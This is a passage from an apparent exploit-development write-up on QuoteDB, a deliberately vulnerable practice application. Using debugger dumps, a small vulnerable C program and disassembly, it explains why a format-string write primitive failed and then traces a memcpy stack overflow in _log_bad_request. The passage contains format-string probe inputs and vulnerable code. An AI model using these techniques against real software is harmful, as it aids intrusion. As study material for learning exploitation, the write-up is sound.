&lt;p&gt;When examining the arguments pointer (aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;va_list&lt;/code&gt; type), it appears to be an array of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; values:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dd 01eb7110
01eb7110  770a66b0 00000385 0131173b 01ebf97c
01eb7120  013118fb 00000001 01eb7944 00004000
01eb7130  00000000 00000000 00000000 00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Do the values look familiar? They should as these are the values which were pulled from the stack using the read primitive showcased earlier in the post. So what’s interesting is that by the time the application reaches the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vsnprintf()&lt;/code&gt; call, the values have already been pulled from the stack.&lt;/p&gt;

&lt;p&gt;Furthmore none of the values in the arguments buffer reference the format string specifier like you would typically see. Let’s step back to the initial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; call (before the subsequent call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vsnprintf()&lt;/code&gt; is made) and examine the stack at the time of the call:&lt;/p&gt;

&lt;p&gt;Displaying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x100/0n256&lt;/code&gt; entries on the stack shows:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dds esp L100
022b7680  018b3e30
022b7684  00000800
022b7688  01320280 main!main+0xe3f7
022b768c  770a66b0 msvcrt!_threadstart
022b7690  00000385
022b7694  0131173b main+0x173b
022b7698  022bfef8
022b769c  013118fb main+0x18fb
022b76a0  00000001
022b76a4  022b7ec0
022b76a8  00004000
022b76ac  00000000
022b76b0  00000000
&amp;lt;snipped for brevity all 0x00000000&amp;gt;
022b7a78  00000000
022b7a7c  00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown in the arguments buffer examined in the earlier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vsnprintf()&lt;/code&gt; call, the values from the stack start being copied starting from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x022b768c&lt;/code&gt; and onwards. Though again what’s interesting here is that the format string specifier is no where referenced on the stack. When the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__cdecl&lt;/code&gt; calling convention is used to invoke a function, all the arguments are passed onto the stack thus in the context of format string vulnerabilities, this can be referred to as “writing” a value onto the stack.&lt;/p&gt;

&lt;p&gt;In order to test if this is normal behavior, a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C&lt;/code&gt; program was compiled into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PE32&lt;/code&gt; executable:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This program basically replicates the same string formatting vulnerability.&lt;/p&gt;

&lt;p&gt;Setting a breakpoint on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; call and sending the following input string which will be then treated as a format specifier:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%p %p %p %p %p %p %p %p %p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The breakpoint is then invoked and when dumping the values from the stack, the following is revealed:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; dds esp L28
0061fdd0  0061fde8    // dst
0061fdd4  00000064    // size
0061fdd8  0061fe4c    // src
&amp;lt;snipped for brevity&amp;gt;
0061fe4c  25207025
0061fe50  70252070
0061fe54  20702520
0061fe58  25207025
0061fe5c  70252070
0061fe60  20702520
0061fe64  000a7025
0061fe68  ffffffff
0061fe6c  00000030
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Starting from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0061fe4c&lt;/code&gt; and onwards, a pattern is seen and this turns out to the be the format specifier string being referenced on the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0061fe4c  25 70 20 25 70 20 25 70-20 25 70 20 25 70 20 25  %p %p %p %p %p %
0061fe5c  70 20 25 70 20 25 70 20-25 70 0a 00 ff ff ff ff  p %p %p %p......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So now the question that’s been left to ponder is why in the first example, the format specifiers are not being referenced on the stack thus preventing an attacker from leveraging a write primitive; while in the second case they are being referenced?&lt;/p&gt;

&lt;h3 id=&quot;cracking-the-code&quot;&gt;Cracking the Code&lt;/h3&gt;

&lt;p&gt;In order to answer the question, it helps to review the source code of the vulnerable application which can be found on &lt;a href=&quot;https://github.com/bmdyy/quote_db/blob/main/main.c&quot;&gt;Github&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Specifically, let’s focus on the implementation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_quote()&lt;/code&gt; function:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_quote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;quote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[?] Getting quote #%d from db...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;quote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;QUOTE_SIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;quotes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;quotes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown above, the function takes two arguments in which the first is an index of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int&lt;/code&gt; while the second is a double pointer to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;char&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Upon evaluating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; function invocation, the first argument is obtained by dereferencing the double pointer, yielding a pointer to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;char&lt;/code&gt; that serves as the destination buffer. Following this, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QUOTE_SIZE&lt;/code&gt;, a predefined constant equating to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2048&lt;/code&gt; bytes, is provided as the maximum buffer size. Lastly and arguably the most important, the pointer to the format string specifier (which can be controlled by an attacker) is fetched from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;quotes&lt;/code&gt; array which is a global variable.&lt;/p&gt;

&lt;p&gt;Returning back to the test program that was written to test whether the contents of the format string specifier would be referenced on the stack:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown in the earlier section, when sending the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%p %p %p %p %p %p %p&lt;/code&gt;, it would be referenced on the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; dds esp L28
0061fdd0  0061fde8    // dst
0061fdd4  00000064    // size
0061fdd8  0061fe4c    // src
&amp;lt;snipped for brevity&amp;gt;
0061fe4c  25207025
0061fe50  70252070
0061fe54  20702520
0061fe58  25207025
0061fe5c  70252070
0061fe60  20702520
0061fe64  000a7025
0061fe68  ffffffff
0061fe6c  00000030
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After further review, my initial understanding of how the format string functions worked under-the-hood is wrong.&lt;/p&gt;

&lt;p&gt;The reason the contents of the format string specifier are seen on the stack in the second example is because it can be considered “residue” from the earlier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fgets()&lt;/code&gt; call which initially takes the input via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt; and stores it in a buffer.&lt;/p&gt;

&lt;p&gt;Here’s proof of how this behavior works, the first step is to set a breakpoint at the instruction right after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fgets()&lt;/code&gt; call and examine the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Breakpoint 0 hit
004015fc 8d44247c        lea     eax,[esp+7Ch]

0:000&amp;gt; dds esp L24
&amp;lt;snipped for brevity&amp;gt;
0061fe4c  25207025
0061fe50  70252070
0061fe54  20702520
0061fe58  25207025
0061fe5c  70252070
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0061fe4c&lt;/code&gt; and onwards this contains the input sent to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt; aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%p %p %p %p %p %p %p %p %p&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now let’s set a breakpoint on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; call and resume execution until the breakpoint is triggered and then re-examine the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Breakpoint 1 hit
004015c2 e8a9ffffff      call    output2+0x1570 (00401570)

0:000&amp;gt; dds esp L30
&amp;lt;snipped for brevity&amp;gt;
0061fe4c  25207025
0061fe50  70252070
0061fe54  20702520
0061fe58  25207025
0061fe5c  70252070
0061fe60  20702520
0061fe64  25207025
0061fe68  70252070
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Again we notice the “contents” of the format string specifier being referenced on the stack. However upon closer observation of the stack addreses, one will observe that they’re the same addresses which were shown after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fgets()&lt;/code&gt; call. In other words - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; never wrote these values to the stack, it was the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fgets()&lt;/code&gt; call!&lt;/p&gt;

&lt;p&gt;Now returning back to the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QuoteDB&lt;/code&gt; application, let’s re-examine how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; is invoked one last time:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;quote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;QUOTE_SIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;quotes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Specficially &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;quotes[index]&lt;/code&gt; is of most interest. So the reason in this case we don’t see the contents of the format string specifier referenced on the stack (as in the other example) is because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;quotes&lt;/code&gt; array is an array of strings and as it’s a global variable, it lives in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; segment. Furthermore another pressing reason is because it takes two packets in order to trigger the format string vulnerability:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Packet #1 - Add/overwrite quote to contain format string specifier&lt;/li&gt;
  &lt;li&gt;Packet #2 - Invoke get_quote functionality&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each individual packet is handled by a separate thread, so by the time the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_quote&lt;/code&gt; functionality is triggered, it’s entirely in a new thread which has it’s own stack!&lt;/p&gt;

&lt;p&gt;In summary, the ability to exploit a write primitive in a format string vulnerability depends on the method through which the format specifier is introduced into the respective format string function call.&lt;/p&gt;

&lt;h2 id=&quot;mistake-2---ignoring-application-functionality&quot;&gt;Mistake #2 - Ignoring application functionality&lt;/h2&gt;

&lt;p&gt;During the process of learning how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QuoteDB&lt;/code&gt; application behaves, it is discovered that is based on the opcode pattern where the packet contains a certain value that will influence how the application will behave next.&lt;/p&gt;

&lt;p&gt;When the application receives an opcode, it will then invoke a jumptable which will determine which path to take. In the case where the opcode is invalid (meaning it doesn’t meet any of the jumptable cases), it will instead reach the ‘default case’ which is the following basic block:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:01311A85 def_1311862:            ; jumptable 01311862 default case
.text:01311A85 lea     eax, [ebp+buf]
.text:01311A8B add     eax, 4
.text:01311A8E mov     [esp], eax      ; Src
.text:01311A91 call    _log_bad_request
.text:01311A96 mov     eax, [ebp+var_28]
.text:01311A99 mov     [esp], eax      ; Str
.text:01311A9C call    _strlen
.text:01311AA1 mov     [ebp+Size], eax
.text:01311AA4 mov     eax, [ebp+var_28]
.text:01311AA7 mov     [esp], eax      ; Str
.text:01311AAA call    _strlen
.text:01311AAF mov     [esp+8], eax    ; Size
.text:01311AB3 mov     eax, [ebp+var_28]
.text:01311AB6 mov     [esp+4], eax    ; Src
.text:01311ABA lea     eax, [ebp+var_8034]
.text:01311AC0 mov     [esp], eax      ; void *
.text:01311AC3 call    _memcpy
.text:01311AC8 nop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown by the disassembly above, this basic block invokes a number of functions that deal with string operations and copying memory such as calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The one vital mistake I made here was completely ignoring this block due to the presence of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_log_bad_request()&lt;/code&gt; function which immediately turned off any “hope” for exploitation. After stumbling with the format string write primitive rabbit hole for a couple days, I finally decided to revisit this basic block as it was the only section left which wasn’t thoroughly  explored.&lt;/p&gt;

&lt;p&gt;Specifically the curiousity was focused on how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_log_bad_request()&lt;/code&gt; function behaved under-the-hood. Before diving deeper into the disassembly of the function, it is worth examining the arguments passed to the function by examining the stack at the time of the call.&lt;/p&gt;

&lt;p&gt;In this case, it’s only a single argument and most likely a pointer to a buffer due to the fact that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LEA&lt;/code&gt; instruction is used to load the address of the argument before it pushed onto the stack.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dds esp L1
01f66f80  01f6b7ac

0:003&amp;gt; db 01f6b7ac
01f6b7ac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7bc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7cc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7dc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our hunches are correct and in this case it turns out to be a pointer referencing our user-input.&lt;/p&gt;

&lt;p&gt;Now let’s dive deeper into the disassembly of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_log_bad_request()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:013116D3 public _log_bad_request
.text:013116D3 _log_bad_request proc near
.text:013116D3
.text:013116D3 var_808= byte ptr -808h
.text:013116D3 Src= dword ptr  8
.text:013116D3
.text:013116D3 ; __unwind {
.text:013116D3 push    ebp
.text:013116D4 mov     ebp, esp
.text:013116D6 sub     esp, 818h
.text:013116DC mov     dword ptr [esp+8], 800h ; Size
.text:013116E4 mov     dword ptr [esp+4], 0 ; Val
.text:013116EC lea     eax, [ebp+var_808]
.text:013116F2 mov     [esp], eax      ; void *
.text:013116F5 call    _memset
.text:013116FA mov     dword ptr [esp+8], 4000h ; Size
.text:01311702 mov     eax, [ebp+Src]
.text:01311705 mov     [esp+4], eax    ; Src
.text:01311709 lea     eax, [ebp+var_808]
.text:0131170F mov     [esp], eax      ; void *
.text:01311712 call    _memcpy
.text:01311717 call    _GetCurrentThreadId@0 ; GetCurrentThreadId()
.text:0131171C mov     edx, eax
.text:0131171E lea     eax, [ebp+var_808]
.text:01311724 mov     [esp+8], eax
.text:01311728 mov     [esp+4], edx
.text:0131172C mov     dword ptr [esp], offset aDInvalidReques ; &quot;....[%d] invalid request=%s\n&quot;
.text:01311733 call    _printf
.text:01311738 nop
.text:01311739 leave
.text:0131173A retn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As seen above, this function primarily also appears to deal with operations involving copying memory as denoted by the calls to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memset()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt; functions making this a potential target for an overflow.&lt;/p&gt;

&lt;p&gt;Primarily it appears to be initializing the contents of a memory region to consist of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x800&lt;/code&gt; null bytes as indicated in the following instructions:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:013116DC mov     dword ptr [esp+8], 800h ; Size
.text:013116E4 mov     dword ptr [esp+4], 0 ; Val
.text:013116EC lea     eax, [ebp+var_808]
.text:013116F2 mov     [esp], eax      ; void *
.text:013116F5 call    _memset
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To maybe get a better understanding, it helps to examine the prototype of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memset()&lt;/code&gt; function:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;memset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using the disassembly above, we can see that the psuedocode would look like the following:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Afterwards a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt; call is invoked, most likely using the memory region which was initalized via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memset()&lt;/code&gt; call. Let’s set a breakpoint and explore the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt; call in closer detail. Before examining the arguments on the stack, it will be useful to examine the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt; function prototype:&lt;/p&gt;

